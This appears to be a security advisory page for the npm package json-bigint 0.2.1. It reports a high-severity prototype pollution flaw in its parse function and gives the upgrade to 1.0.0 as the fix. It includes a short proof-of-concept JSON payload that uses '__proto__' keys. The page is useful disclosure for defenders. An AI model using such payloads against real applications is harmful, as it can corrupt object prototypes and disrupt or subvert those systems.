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json-bigint@0.2.1 vulnerabilities

JSON.parse with bigints support

  • latest version

    1.0.0

  • latest non vulnerable version

    1.0.0

  • first published

    11 years ago

  • latest version published

    4 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the json-bigint package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    json-bigint is a JSON.parse with bigints support

    Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

    POC

    const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())

    How to fix Prototype Pollution?

    Upgrade json-bigint to version 1.0.0 or higher.

    <1.0.0
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